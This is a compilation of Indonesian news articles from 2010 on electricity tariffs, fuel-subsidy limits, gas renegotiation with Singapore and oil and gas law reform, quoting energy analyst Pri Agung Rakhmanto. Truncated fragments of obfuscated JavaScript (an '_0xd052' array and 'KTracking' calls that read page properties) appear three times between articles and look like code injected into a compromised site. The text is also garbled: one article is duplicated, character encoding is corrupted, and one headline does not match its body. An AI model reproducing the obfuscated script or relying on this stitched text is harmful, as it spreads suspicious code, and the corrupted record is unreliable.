‘Kenaikan TDL Itu Tergantung Subsidi Pemerintah’

REPUBLIKA.CO.ID, 24 September 2010

JAKARTA– Di mata Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto, pembatalan kenaikan taif dasar listrik (TDL) merupakan langkah positif. ”Memang kenaikan itu tidak perlu dan sebenarnya sangat ditentukan bagaimana pemerintah dan DPR menetapkan besaran anggaran subsidinya,” kata Pri Agung, Jumat (24/9).

Di samping itu lanjut Pri Agung, kenaikan itu juga memang tidak perlu karena desngan makin banyaknya pembangkit listrik batu bara dari program 10 ribu MW yang beroperasi, maka BPP listrik akan turun. ”Penghematan 8,1 triliun itu masih realistis. Potensi penghematan BPP dengan mengganti BBM dengan batubara dan gas sebenarnya bahkan bisa mencapai 26 triliun lebih,” tutur dia.

Tentunya, diingatkan Pri Agung, PLN jangan disuruh bekerja sendiri. ”Pemerintah juga harus menjamin ketersedian batubara dan gas PLN tersebut dengan kebijakan misalnya DMO atau membeli batubara domestik dengan harga pasar, atau renegosiasi ekspor gas yang ke Singapura misalnya,” tuturnya.

Ia menilai yang mungkin tidak realistis dalam hal ini adalah tentang penghematan dari pembangunan receiving LNG. Karena sepertinya tidak akan selesai di tahun 2011. ”Tapi jika konsumsi BBM PLN bisa ditekan ke 4,4 jt KL, angka itu tetap realistis. Butuh kerja keras memang,” kata dia.

Seperti diberitakan sebelumnya, anggota Komisi VII DPR RI dari Fraksi Golkar, Satya W. Yudha menyatakan bahwa Komisi VII DPR telah menolak usulan pemerintah terkait rencana kenaikan TDL sebesar 5,4 persen pada awal 2011. ”Pada prinsipnya tidak akan ada kenaikan TDL pada 2011 nanti seperti yang diinginkan pemerintah sebesar 5,4 persen, paling tidak sampai April 2012 aman tidak akan ada kenaikan,” kata Satya kepada Republika, Jumat (24/9).

Menurut Satya kebutuhan subsidi untuk listrik sebesar Rp 41,02 triliun dalam RAPBN 2011 bisa ditutupi dengan melakukan efisiensi di tubuh PLN. Satya yang juga anggota Badan Anggaran DPR menambahkan, pemerintah tidak bisa seenaknya menaikan TDL dalam rangka menekan subsidi.

Ia melanjutkan, masih banyak cara lain yang bisa dilakukan. ”Diantaranya dengan optimalisasi energi primer, mengganti BBM ke gas atau batu bara atau mengefisiensikan operating cost lainnya di PLN,” tegas Satya.

Hal senada juga ditegaskan anggota Komisi VII dari Fraksi PDI-P, Dewi Aryani Hilman. Menurut Dewi keputusan tidak ada kenaikan TDL sudah final. ”DPR bisa menghentikan rencana pemerintah untuk menaikan TDL setelah melalui perdebatan panjang, jadi tidak ada kenaikan TDL,” ujarnya.

Meski demikian subsidi, kata Dewi, tetap diberlakukan karena yang mengurus rakyat sudah menjadi tugas pemerintah. ”Kita juga mendorong pemerintah untuk melakukan efisiensi di segala bidang. Untuk itu kita minta pemerintah menyampaikan presentasi reformasi birokrasi dan redesign program mereka ke Komisi 7,” tandas Dewi.REPUBLIKA.CO.ID, JAKARTA– Di mata Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto, pembatalan kenaikan taif dasar listrik (TDL) merupakan langkah positif. ”Memang kenaikan itu tidak perlu dan sebenarnya sangat ditentukan bagaimana pemerintah dan DPR menetapkan besaran anggaran subsidinya,” kata Pri Agung, Jumat (24/9).

Di samping itu lanjut Pri Agung, kenaikan itu juga memang tidak perlu karena dengan makin banyaknya pembangkit listrik batu bara dari program 10 ribu MW yang beroperasi, maka BPP listrik akan turun. ”Penghematan 8,1 triliun itu masih realistis. Potensi penghematan BPP dengan mengganti BBM dengan batubara dan gas sebenarnya bahkan bisa mencapai 26 triliun lebih,” tutur dia.

Tentunya, diingatkan Pri Agung, PLN jangan disuruh bekerja sendiri. ”Pemerintah juga harus menjamin ketersedian batubara dan gas PLN tersebut dengan kebijakan misalnya DMO atau membeli batubara domestik dengan harga pasar, atau renegosiasi ekspor gas yang ke Singapura misalnya,” tuturnya.

Ia menilai yang mungkin tidak realistis dalam hal ini adalah tentang penghematan dari pembangunan receiving LNG. Karena sepertinya tidak akan selesai di tahun 2011. ”Tapi jika konsumsi BBM PLN bisa ditekan ke 4,4 jt KL, angka itu tetap realistis. Butuh kerja keras memang,” kata dia.

Seperti diberitakan sebelumnya, anggota Komisi VII DPR RI dari Fraksi Golkar, Satya W. Yudha menyatakan bahwa Komisi VII DPR telah menolak usulan pemerintah terkait rencana kenaikan TDL sebesar 5,4 persen pada awal 2011. ”Pada prinsipnya tidak akan ada kenaikan TDL pada 2011 nanti seperti yang diinginkan pemerintah sebesar 5,4 persen, paling tidak sampai April 2012 aman tidak akan ada kenaikan,” kata Satya kepada Republika, Jumat (24/9).

Menurut Satya kebutuhan subsidi untuk listrik sebesar Rp 41,02 triliun dalam RAPBN 2011 bisa ditutupi dengan melakukan efisiensi di tubuh PLN. Satya yang juga anggota Badan Anggaran DPR menambahkan, pemerintah tidak bisa seenaknya menaikan TDL dalam rangka menekan subsidi.

Ia melanjutkan, masih banyak cara lain yang bisa dilakukan. ”Diantaranya dengan optimalisasi energi primer, mengganti BBM ke gas atau batu bara atau mengefisiensikan operating cost lainnya di PLN,” tegas Satya.

Hal senada juga ditegaskan anggota Komisi VII dari Fraksi PDI-P, Dewi Aryani Hilman. Menurut Dewi keputusan tidak ada kenaikan TDL sudah final. ”DPR bisa menghentikan rencana pemerintah untuk menaikan TDL setelah melalui perdebatan panjang, jadi tidak ada kenaikan TDL,” ujarnya.

Meski demikian subsidi, kata Dewi, tetap diberlakukan karena yang mengurus rakyat sudah menjadi tugas pemerintah. ”Kita juga mendorong pemerintah untuk melakukan efisiensi di segala bidang. Untuk itu kita minta pemerintah menyampaikan presentasi reformasi birokrasi dan redesign program mereka ke Komisi 7,” tandas Dewi.

Pembubaran BP dan BPH Migas Dimungkinkan

Media Indonesia, 22 September 2010

JAKARTA–MI: Rencana revisi undang-undang minyak dan gas bumi (migas) Nomor 22/2001 masih belum menunjukkan tanda akan dimulai. Namun sebagian kalangan menilai revisi UU ini berpeluang untuk tidak memperpanjang keberadaan badan pelaksana kegiatan usaha hulu (BP Migas) dan Badan Pengatur Hilir (BPH) Migas.

“Di sektor hulu, revisi ini harus mencakup pengembalian kuasa pertambangan ke Pertamina dan atau setidaknya menetapkan bahwa Pertamina diberi keutamaan (priviledge) untuk mengelola blok migas yang habis masa kontraknya,” ujar Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto dalam diskusi tentang keberpihakan negara dalam pengelolaan sektor migas di Jakarta, Rabu (22/9).

Menurutnya, bila kedua hal tersebut dilakukan hal itu merupakan wujud konkrit keberpihakan negara terhadap perusahaan migas negara di dalam akses penguasaan dan pengelolaan migas nasional.

Kewenangan BP Migas selaku lembaga pengatur di sektor hulu migas sekaligus menjadi wakil pemerintah dalam kontrak kerjasama dengan operator migas tidak justru mempersempit peluang keberpihakan itu.

“Karena itu kewenangan tersebut lebih baik dikembalikan kepada pemerintah sehingga perusahaan migas nasional bisa diprioritaskan untuk berkembang secara maksimal,” ujarnya.

Sementara di sektor hilir, peran BPH Migas bisa digabungkan dengan fungsi Direktorat Jenderal Migas Kementerian Energi dan Sumber Daya Mineral (ESDM).

“Peran Ditjen Migas dalam regulasi dan pengawasan di hilir termasuk dalam masalah BBM bersubsidi perlu diperkuat. Opsi menggabungkan BPH Migas ke dalam Ditjen Migas oleh karenanya menjadi logis,” ujarnya.

Hal senada diungkapkan anggota Komisi VII DPR dari Fraksi Partai Persatuan Pembangunan (PPP) Romahurmuziy.

“Pada dasarnya keberadaan BP Migas di sisi hulu tidak memiliki kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional. Karena itu kami menginginkan dalam format Undang-Undang ke depan, BP Migas dan BPH Migas itu ditiadakan dan dikembalikan kepada institusi dengan format yang lebih transparan,” tuturnya.

Usulan peniadaan kedua lembaga tersebut, imbuhnya, akan menjadi salah satu pertimbangan dalam revisi UU Migas No 22 Tahun 2001.

Menurutnya, ada persoalan mendasar dalam keberadaan BP Migas yang sampai sekarang masih belum tuntas yakni transparansi keuangan.

“Padahal, BP Migas mendapatkan bagian penerimaan dari setiap kontrak yang ditandatangani. Tapi itu bukan merupakan wilayah DPR. Jadi memang transparansinya belum tercapai,” ujarnya.

Selain itu, imbuhnya, tata kelola BP Migas sama seperti perseroan terbatas (PT), bisa saja membahayakan negara. “Jika BP Migas bangkrut, konsekuensi itu tentu menjadi tanggung jawab negara. Selain itu selama ini BP Migas terus menjadi bottleneck dengan lambannya persetujuan proposal rencana pengembangan (plan of development/PoD) dan persetujuan work program and budget (WPB) pengelolaan lapangan migas,” ujarnya.

Ia juga sependapat fungsi serta tugas dalam pengawasan dan pengaturan hilir yang selama ini dijalankan BPH Migas juga seharusnya dikembalikan kepada pemerintah.

“Begitu juga dengan keberadaan BPH Migas untuk sektor hilir, seharusnya diambil-alih oleh pemerintah dalam hal ini Ditjen Migas. Penetapan harga minyak dan gas itu kan tetap di tangan pemerintah,” pungkasnya. (Jaz/OL-3)

Bisnis today: ‘Negara harus kuasai migas’

Bisnis Indonesia.com, 23 September 2010

Badan pelaksana dan pengatur sumber daya diusulkan dihapus – ‘Negara harus kuasai migas’

JAKARTA: Akses penguasaan sumber daya minyak dan gas bumi sudah seharusnya dikuasai negara sehingga pemerintah memiliki posisi dan fungsi kuat untuk mewujudkan keberpihakan terhadap kepentingan dalam negeri.

Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto mendesak pemerintah dan DPR untuk menata ulang kebijakan migas yang tertuang dalam UU No. 22 /2001 tentang Minyak dan Gas Bumi.

Penyusunan desain induk pengelolaan migas nasional mutlak diperlukan mengingat masih lemahnya posisi pemerintah dalam pengelolaan migas.

“Akses penguasaan sumber daya itu harus tetap dipegang oleh negara, dalam hal ini melalui badan usaha milik negara [BUMN]. Untuk itu, UU Migas ini harus dibenahi lebih dulu,” tutur Pri Agung di sela diskusi bertema Peran dan Keberpihakan Negara Dalam Pengelolaan Migas Nasional kemarin.

Langkah konkret yang perlu dilakukan saat ini, lanjut dia, yaitu memberikan kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional kepada BUMN. Kondisi sebaliknya yang terjadi sekarang justru kewenangan itu ada pada badan atau aparat pemerintah, di bawah pengawasan Kementerian ESDM cq Ditjen Migas.

Direktur Operasi PT Pertamina EP Bagus Sudaryanto mengatakan pemberian prioritas pengelolaan ladang migas kepada perusahaan nasional, baik BUMN maupu swasta, sebelumnya dijanjikan akan diatur pemerintah dalam sebuah Permen ESDM. Namun, hingga kini regulasi tersebut belum terwujud.

Bagus mengatakan prioritas pada tahap awal setidaknya diberikan untuk kontrak-kontrak migas yang segera diterminasi.

Menurut dia, perlu ada ketegasan dari pemerintah bahwa seluruh kontrak migas yang dinyatakan berakhir dikembalikan kepada negara. Selanjutnya, pengelolaannya diprioritaskan kepada perusahaan migas nasional, baik BUMN maupun swasta.

Sudah siap

Terkait dengan kesiapan Pertamina untuk mengelola ladang migas nasional ke depan, Bagus mengatakan perusahaan sudah sangat siap, baik secara teknis maupun finansial. Bahkan, tuturnya, dari beberapa lapangan yang sudah diambil alih, seperti UBEP Sangasangan-Tarakan, UBEP Limau, dan PHE ONWJ, mengalami peningkatan produksi.

Anggota Komisi VII DPR Romahurmuziy mendesak pemerintah untuk meniadakan Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) dan Badan Pengatur Hilir Minyak dan Gas Bumi (BPH Migas) karena keberadaan dua badan itu hanya merugikan negara.

Dia menilai pada dasarnya keberadaan BP Migas di sisi hulu tidak memiliki kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional. Sementara itu, fungsi serta tugas dalam pengawasan dan pengaturan hilir yang selama ini dijalankan BPH Migas juga seharusnya dikembalikan kepada Kementerian ESDM.

Menurut dia, ada persoalan mendasar dari keberadaan BP Migas yang sampai sekarang masih belum tuntas a.l. dalam hal transparansi keuangan. Padahal, BP Migas mendapatkan bagian penerimaan dari setiap kontrak yang ditandatangani.

Selain itu, tata kelola BP Migas sama seperti perseroan terbatas, bisa saja membahayakan negara. Alasannya, jika BP Migas bangkrut maka konsekuensi itu menjadi tanggung jawab negara.

Yang lebih memprihatinkan, lanjut dia, selama ini BP Migas terus menjadi bottleneck dengan lambannya persetujuan proposal rencana pengembangan dan persetujuan work program and budget pengelolaan lapangan migas.

“Beberapa blok terakhir yang disetujui BP Migas itu melonjak signifikan, seperti Tangguh, Cepu, dan Senoro. Untuk itu, kita harus mengembalikan BP Migas ini pada format sebenarnya.”

Begitu juga dengan keberadaan BPH Migas untuk sektor hilir, seharusnya diambil alih oleh pemerintah dalam hal ini Ditjen Migas.

Mantan Wapres Jusuf Kalla berpendapat revisi UU Migas sebaiknya harus mempunyai substansi iktikad baik. “Kembalilah pada pasal 33 UUD 1945, bahwa sumber daya yang menguasai hajat hidup orang banyak dimanfaatkan sebesar-besarnya untuk kepentingan negara.”

Dalam struktur berbangsa, ujar Kalla, seluruh aturan mulai dari Undang-Undang Dasar, UU, peraturan pemerintah, keppres, serta kepmen, pada dasarnya bisa diubah dan diatur untuk kepentingan nasisonal.

“Kalau UU tidak lengkap, ya di revisi atau dilengkapi dengan PP, keppres dan seterusnya. Yang terpenting berpihak sebesar-besarnya kepada bangsa. (Neneng Herbawati/Aprilian Hermawan/er)

Pembatasan BBM Subsidi Dinilai tidak Mungkin Tahun Ini

Republika, 15 September 2010

REPUBLIKA.CO.ID,JAKARTA–Pengamat energi Pri Agung Rakhmanto menilai pembatasan penggunaan BBM subsidi tidak mungkin diterapkan tahun ini. Menurut Pri Agung, jika akan diterapkan tahun ini maka waktunya terlalu sempit. ”Kalau untuk tahun ini waktunya sudah terlalu mepet,” kata Pri yang juga Direktur Eksekutif Reforminer Institute ini, Rabu (15/9). Mepetnya waktu ini kata dia baik dari sisi persiapan teknis menyangkut jaminan ketersediaan BBM non subsidi maupun untuk sosialisasinya.

Pri Agung pun menilai jika diterapkan tahun ini tidak akan terlalu efektif. ”Tidak akan efektif untuk tahun ini karena maksimal paling hanya bisa hemat sekitar Rp2,6 triliun,” kata Pri Agung. Itupun lanjut dia jika tidak ada kendala dalam implementasinya.

Sementara itu kata Pri Agung, jika kebijakan ini ini diterapkan pada tahun depan, maka hal itu berpotensi menghemat anggaran hingga Rp 10,5 triliun. ”Itupun jika lancar,” kata dia.

Meski demikian kata Pri Agung tetap saja kebijakan ini merupakan kebijakan nanggung, populis dan tidak menyelesaikan akar masalah ketergantungan energi terhadap BBM. ”Ini hanya solusi instan yang hanya berdampak pada anggaran subsidi di APBN saja tidak lebih,” tandas dia.

[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pembatasan BBM Bersubsidi Hanya Solusi Instan

Media Indonesia, 13 September 2010

JAKARTA–MI: Mundurnya pemberlakuan kebijakan pengendalian konsumsi bahan bakar minyak (BBM) bersubsidi dengan membatasi pemakaian pada kendaraan bermotor menunjukkan ketidaksiapan pemerintah terhadap rencana tersebut. Kebijakan tersebut merupakan solusi instan yang tidak menghapus masalah utama, yakni ketergantungan terhadap BBM.

“Pemerintah belum memiliki rencana yang matang mengenai pembatasan BBM bersubsidi. Dari rencana awalnya saja belum siap, apalagi pengaplikasiannya di lapangan,” ujar Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto kepada Media Indonesia , Senin (13/9).

Ia mengungkapkan, rencana pembatasan BBM bersubsidi ini merupakan rencana lama yang sudah diwacanakan sejak tahun 2008. Namun hingga kini belum ada kebijakan yang matang untuk mendukung wacana pembatasan BBM bersubsidi ini.

“Wacana pembatasan ini selalu ada jika anggaran subsidi untuk BBM meningkat. Namun rencana kongkritnya belum ada hingga sekarang,” kata Pri.

Menurutnya, pemerintah selama ini hanya berkutan dengan masalah pembatasan BBM. Padahal, pembatasan BBM ini hanyalah solusi instan terkait dengan penurunan anggaran untuk subsidi BBM.

“Masalah sebenarnya yang harus diselesaikan pemerintah adalah bagaimana mengurangi ketergantungan masyarakat terhadap BBM. Karena saat ini 70% sumber energi kita adalah BBM,” imbuhnya.

Pri pun mengingatkan, dari tahun ke tahun BBM bersubsidi selalu melebihi kuota yang telah ditetapkan. Meski demikian, ia melihat pemerintah tidak serius dalam menanganinya.

“Dari tahun ke tahun realisasi penggunaan BBM bersubsidi selalu lebih 1-1,5 juta kilo liter dari kuota yang ditetapkan. Namun walaupun realisasi volume terus meningkat, jika anggaran untuk subsidi tetap aman, maka pemerintah tetap tidak melakukan langkah-langkah yang signifikan,” ujarnya.

Untuk itulah, lanjut Pri, yang harus dilakukan pemerintah selain melakukan pembatasan terhadap BBM bersubsidi adalah dengan mengembangkan sumber bahan bakar lain dan mengembangkan transportasi massal. Ia memberi contoh, pengembangan bahan bakar lainnya dapat dilakukan dengan mengembangkan bahan bakar gas (BBG) atau dengan bahan bakar nabati.

“Namun lagi-lagi pengembangan bahan bakar lainnya lagi-lagi hanya menjadi wacana lama. Rencana pengembangan bahan bakar nabati sendiri sudah ada sejak tahun 2005 pada saat kita menaikkan harga BBM sebesar 120 %, namun hingga kini belum ada hasilnya. Padahal jika sejak saat itu sudah diberlakukan, saat ini kita sudah bisa menikmati hasilnya,” tandas Pri. (*/OL-3)

PENGHEMATAN BBM – Larangan Konsumsi Sebaiknya Tahun 2011

Kompas,A�2 Spetember 2010

Jakarta, Kompas – Rencana pemerintah melarang konsumsi bahan bakar minyak bersubsidi khusus bagi pemilik kendaraan roda empat keluaran tahun 2005 ke atas sebaiknya dilakukan awal tahun 2011.

Tujuannya agar ada waktu untuk sosialisasi. Jika dilakukan pada awal tahun depan, penghematan BBM bersubsidi yang dapat diperoleh Rp 10,5 triliun.

Kalau dilakukan tahun 2010, hasilnya tak akan efektif. Tetapi, kalau dijalankan mulai awal tahun, perkiraan kami akan menghemat konsumsi premium sekitar 7,08 juta kiloliter (kl) atau sekitar Rp 10,5 triliun, A�ujar Direktur EksekutifA�Institute ReforminerA�(Lembaga Kajian Reformasi Pertambangan dan Energi) Priagung Rahmanto di Jakarta, Rabu (1/9).

Pemerintah tengah menguji keandalan program larangan penggunaan BBM bersubsidi pada pemilik mobil keluaran tahun 2005 ke atas. Menteri Energi dan Sumber Daya Mineral Darwin Zahedy Saleh memperkirakan akan ada penghematan konsumsi BBM bersubsidi sekitar 2,3 juta kl jika program itu diberlakukan mulai 1 September 2010.

Darwin juga mengusulkan penataan ulang dispenser BBM bersubsidi, terutama untuk daerah elite dan protokol di seluruh Indonesia secara bertahap.

Namun, langkah ini perlu revisi Peraturan Presiden Nomor 55 Tahun 2005 dan Perpres No 9/2006 tentang perubahan atas Perpres No 55/2005 tentang Harga Jual Eceran BBM Dalam Negeri.

Meski demikian, Menko Perekonomian Hatta Rajasa memilih melakukan kebijakan lain, yakni menekan Badan Pengatur Hilir Minyak dan Gas Bumi agar meningkatkan kualitas pengawasan dan pengaturan distribusi BBM bersubsidi, yang selama ini diperkirakan bocor.

Menyalurkan BBM

Sidang Komite Badan Pengatur Kegiatan Hilir Minyak dan Gas Bumi telah menetapkan hanya PT Aneka Kimia Raya (AKR) yang akan mendampingi PT Pertamina (Persero) sebagai pelaksana pendistribusian BBM bersubsidi jenis premium dan solar tahun 2011. Hal ini disebabkan hanya PT AKR yang memenuhi persyaratan komersial yang ditetapkan tim teknis PSO BPH Migas.

Kepala Badan Pengatur Kegiatan Hilir Migas (BPH) Migas Tubagus Haryono dalam siaran pers, Rabu di Jakarta, menegaskan, penunjukan PT AKR karena memenuhi persyaratan komersial. Persyaratan itu antara lain dilihat dari alpha regional yang ditawarkan lebih rendah daripada yang ditetapkan tim teknis PSO BPH Migas.

Atas dasar itu, pihak PT AKR diwajibkan membuat surat pernyataan kesediaan dalam 5 hari dan segera membangun fasilitas penyalur yang harus selesai pada 6 Desember 2010. Kelanjutan pendamping incumbent (AKR dan Petronas) akan dievaluasi sampai akhir November.

Lokasi penugasan untuk pendistribusian premium adalah di satu stasiun pengisian bahan bakar untuk umum (SPBU) di Binjai, Sumatera Utara; 1 SPBU di Kabupaten Tapin, Kalimantan Selatan; 2 agen premium minyak solar (APMS) di Kukar; dan 6 APMS di Kubar, Kalimantan Timur. (oin/EVY)

 

Proses renegosiasi gas ke Singapura disorot

Bisnis Indonesia,A�26 Agustus 2010

JAKARTA: Pemerintah dinilai tidak memiliki kemauan politik untuk merenegosiasi kontrak gas dari Grissik ke Singapura.

Pasalnya, keinginan untuk mengamankan pasokan gas ke domestik melalui pipa South Sumatera West Java itu hingga kini masih berupa rencana.

Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto menegaskan renegosiasi kontrak gas tersebut jelas menjadi domainnya Kementerian Energi dan Sumber Daya Mineral (ESDM), bukan Kementerian BUMN.

SAA [sales appointed agreement] kontrak gas itu kan ditandatangani oleh Menteri ESDM. Kalau Menteri BUMN [yang akan renegosiasi], saya tidak tahu di mana relevansinya. Kalau begini, pemerintah sebenarnya tidak ada kemauan politik untuk renegosiasi tersebut, A�katanya hari ini.

Dia mencontohkan untuk proses renegosiasi kontrak yang memang sudah dimungkinkan dilakukan seperti gas Tangguh, sampai kini tidak pernah terealisasi. A�Apalagi yang kita belum tahu seperti kontrak gas Singapura ini, A�tutur Pri.Terkait dengan penyerahan proses renegosiasi kepada Kementerian BUMN, Anggota Komisi VII DPR Satya W. Yudha menegaskan Presiden seharusnya meminta Menteri ESDM atas nama pemerintah untuk melakukan proses renegosiasi kontrak gas tersebut.

DPR mendesak pemerintah agar satu sikap dalam renegosiasi gas ke Singapura, mengingat kontrak tersebut dahulunya ditandatangani dalam kaitan bilateral antarkedua negara, A�tutur Satya.

Menurut dia, pemerintah seharusnya mampu mengetuk hati Pemerintah Singapura dalam merevisi kontrak gas tersebut, sehingga bisa mengatasi kesulitan pemenuhan gas di dalam negeri, terutama bagi kebutuhan listrik nasional.

Makanya pemerintah harus menghormati setiap kontrak yang dibuat untuk negosiasi tersebut dengan menggunakan hubungan bilateral, A�papar Satya.(jha)

 

Adanya Penjaminan Pemerintah Dikritik

Kompas, 26 Agustus 2010

Jakarta, Kompas – Menteri Keuangan Agus Martowardojo mengkritik pemberian jaminan pemerintah pada proyek 10.000 megawatt, yang bernilai total 8 miliar dollar AS atau sekitar Rp 72,8 triliun. Penjaminan tidak perlu diberikan jika kebijakan tarif listrik tidak diatur pemerintah.

Sebetulnya, jika struktur biayanya dapat dibuat lebih baik dan dapat diterima di pasar (kalangan investor), tidak perlu ada penjaminan pemerintah, A�kata Menkeu di Jakarta, Rabu (25/8), seusai Rapat Kerja Komisi XI DPR dengan Menteri Keuangan.

Menurut Agus, sebagai Menkeu, ia keberatan dengan struktur penjaminan seperti itu. Namun, ia menyadari kondisi keuangan PLN tak memungkinkan menyelesaikan proyek 1.000 MW bila tidak diberi penjaminan.

Rapat Kerja Komisi XI DPR membahas Surat Menteri Keuangan No S-269/MK.011/2010 tentang Penyertaan Modal Negara pada PT Sarana Multi Infrastruktur, PT Askrindo, Perum Jamkrindo, Badan Pengatur Jalan Raya, dan PT Penjamin Infrastruktur Indonesia (PII).

Penyertaan modal negara untuk PII merupakan salah satu yang krusial. BUMN bentukan Kementerian Keuangan ini mengemban tugas memberikan penjaminan bagi proyek infrastruktur strategis, termasuk pembangkit listrik.

Oleh karena itu, Agus menegaskan, penguatan modal PII sangat dibutuhkan untuk memperkuat kredibilitas PII di mata calon investor. Sesuai anggaran dasar PT PII, modal dasar perseroan ditetapkan Rp 4 triliun.

Namun, pada tahun 2010, PII baru akan mendapatkan modal Rp 1 triliun. Modalnya akan ditambah lagi Rp 1 triliun pada tahun 2011, demikian seterusnya hingga modal dasar PII Rp 4 triliun terpenuhi.

Ingin kejelasan

Menurut Agus, sebagian besar investor sektor kelistrikan ingin kejelasan soal tarif listrik. Hingga kini, tarif listrik diatur pemerintah sehingga investor hanya mau menanamkan modal jika ada jaminan dari pemerintah.

Pada proyek 10.000 MW pertama, penjaminan diberikan pemerintah melalui APBN. Ini membuat risiko yang ditanggung negara terlalu besar. Dengan ada PT PII, risikonya beralih dari pemerintah ke PII, A�ujarnya.

Menurut Direktur EksekutifA�Reforminer InstituteA�(Lembaga Kajian Reformasi Pertambangan dan Energi) Priagung Rahmanto, jika pemerintah tidak memberikan penjaminan, risiko yang harus ditanggung negara akan lebih besar. Risiko itu berupa tertunda atau batalnya pembangunan infrastruktur.Priagung mengingatkan, untuk pengamanan pasokan listrik, pemerintah hendaknya tidak hanya melihat dari sisi keuangan, tetapi juga keamanan pasokan energi nasional. A�Kalau tak ingin kekurangan listrik, pemerintah mau ada di posisi mana A�Apakah membangun sendiri atau melalui investor dengan menyediakan penjaminan, A�tuturnya.

Selama masih bergantung kepada investor dalam membangun infrastruktur besar, jaminan pemerintah tetap diperlukan. Tanpa penjaminan, kepastian pendanaan sulit didapat. A�Memang benar jika tarif listrik sudah sesuai harga pasar, kebutuhan pada penjaminan pemerintah akan lebih rendah. Namun, bukan berarti tidak dibutuhkan, A�kata Priagung. (OIN)

 

Asumsi Harga Minyak 2011 Cukup Realistis

Media Indonesia, 23 Agustus 2010

JAKARTA–MI: Pengamat energi dari ReforMiner Institute, Pri Agung Rakhmanto mengatakan, asumsi harga minyak mentah dalam RAPBN 2011 yang ditetapkan sebesar US$80 per barel, cukup realistis. “Dengan informasi yang ada saat ini, harga minyak US$80 cukup aman,” katanya di Jakarta, Minggu (22/8).

Meski, lanjutnya, kemungkinan kisaran harga minyak pada 2011 cenderung antara US$70-80 per barel. Mengenai asumsi produksi atau lifting minyak RAPBN 2011 sebesar 970 ribu barel per hari, Pri Agung mengatakan, target tersebut mencerminkan tidak adanya perubahan substansial di sektor minyak dan gas bumi.

Menurut dia, pencapaian target tersebut tergantung realisasi sampai akhir tahun ini. “Kalau pemerintah mampu mencapai target APBN Perubahan 2010 sebesar 965 ribu barel per hari, maka asumsi 970 ribu barel per hari akan menjadi masuk akal,” katanya. Namun sebaliknya, kalau realisasi 2010 hanya di bawah 960 ribu barel per hari, maka tahun depan sulit mencapai 970 ribu barel per hari. “Target 970 ribu sulit tercapai, karena hanya mengandalkan optimalisasi dari lapangan existing,'” katanya.

Presiden Susilo Bambang Yudhoyono sudah menyampaikan asumsi harga dan produksi minyak bersama asumsi makro RAPBN 2011 lainnya dalam rapat paripurna DPR, Senin (16/8) lalu. Asumsi tersebut selanjutnya akan dibahas antara pemerintah dan komisi DPR terkait dalam rapat-rapat kerja, sebelum ditetapkan sebagai UU APBN. (Ant/OL-9)

2[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pemerintah tak Punya Kemauan Benahi Kelistrikan

Media Indonesia, 23 Agustus 2010 JAKARTA–MI:

Pengamat energi dariA�ReforMiner Institute,A�Pri Agung Rakhmanto mengatakan, asumsi harga minyak mentah dalam RAPBN 2011 yang ditetapkan sebesar US$80 per barel, cukup realistis. “Dengan informasi yang ada saat ini, harga minyak US$80 cukup aman,” katanya di Jakarta, Minggu (22/8).

Meski, lanjutnya, kemungkinan kisaran harga minyak pada 2011 cenderung antara US$70-80 per barel. Mengenai asumsi produksi atau lifting minyak RAPBN 2011 sebesar 970 ribu barel per hari, Pri Agung mengatakan, target tersebut mencerminkan tidak adanya perubahan substansial di sektor minyak dan gas bumi.

Menurut dia, pencapaian target tersebut tergantung realisasi sampai akhir tahun ini. “Kalau pemerintah mampu mencapai target APBN Perubahan 2010 sebesar 965 ribu barel per hari, maka asumsi 970 ribu barel per hari akan menjadi masuk akal,” katanya.

Namun sebaliknya, kalau realisasi 2010 hanya di bawah 960 ribu barel per hari, maka tahun depan sulit mencapai 970 ribu barel per hari. “Target 970 ribu sulit tercapai, karena hanya mengandalkan optimalisasi dari lapangan existing,'” katanya.Presiden Susilo Bambang Yudhoyono sudah menyampaikan asumsi harga dan produksi minyak bersama asumsi makro RAPBN 2011 lainnya dalam rapat paripurna DPR, Senin (16/8) lalu. Asumsi tersebut selanjutnya akan dibahas antara pemerintah dan komisi DPR terkait dalam rapat-rapat kerja, sebelum ditetapkan sebagai UU APBN.

d052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}